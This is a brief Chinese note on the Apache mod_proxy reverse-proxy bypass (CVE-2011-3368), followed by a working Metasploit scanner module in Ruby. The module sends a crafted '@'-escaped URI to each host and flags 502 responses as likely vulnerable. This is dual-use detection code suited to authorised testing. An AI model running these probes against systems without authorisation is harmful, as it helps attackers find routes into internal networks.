apache的mod_proxy模块存在安全漏洞,远程攻击者可以借助特殊请求绕过反向代码访问内网。漏洞编号:CVE-2011-3368

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Scanner

 def initialize
  super(
   'Name'        => 'Reverse Proxy Bypass Scanner',
   'Version'     => '$Revision: $',
   'Description' => %q{
    Scan for poorly configured reverse proxy servers.
    By default, this module attempts to send a specially
    crafted URI that will cause a proxy failure (status code 502)
    if the server is using rewrite rules susceptible to being bypassed
   },
   'Author'      => 'chao-mu',
   'License'     => BSD_LICENSE,
   'References'  =>
    [
     ['URL', 'http://www.contextis.com/research/blog/reverseproxybypass/'],
     ['CVE', 'CVE-2011-3368'],
    ],
  )

  register_options(
   [
    OptString.new('ESCAPE_SEQUENCE',
     [true, 'Character(s) that terminate the rewrite rule', '@']),

    OptString.new('INJECTED_URL',
     [true, 'String injected after escape sequence', '...']),

    OptInt.new('EXPECTED_RESPONSE',
     [true, 'Status code that indicates vulnerability', 502]),

    Opt::RPORT(80),
   ], self.class)
 end

 def run_host(host)
  uri = datastore['ESCAPE_SEQUENCE'] + datastore['INJECTED_URL']

  begin
   start_time = Time.now.utc
   response   = send_request_raw({'uri' => uri}, 60)
   end_time   = Time.now.utc

   seconds_transpired = (end_time - start_time).to_f

   if response.nil?
    vprint_error "Request against #{host} timed out"
    return
   end

   status_code = response.code
   if status_code == datastore['EXPECTED_RESPONSE']
    print_good "#{host} might be vulnerable!"
    report_vuln(
     :host   => host,
     :port   => rport,
     :proto  => 'tcp',
     :name   => self.fullname,
     :info   => "Returned #{status_code} when requested #{uri}",
     :refs   => self.references,
     :exploited_at => end_time
    )
   else
    print_status "#{host} responded with code #{status_code}."
    report_service(
     :host   => host,
     :port   => rport,
     :proto  => 'tcp',
     :name   => datastore['ssl'] ? 'https' : 'http',
    )
   end
   
   vprint_status "Request against #{host} took #{seconds_transpired} seconds"
  rescue ::Rex::ConnectionError => e
   vprint_error "#{host} - #{e.to_s}"
  end
 end
end

[+]Reference:
~~~~~~~~~
http://pastie.org/pastes/2668812/text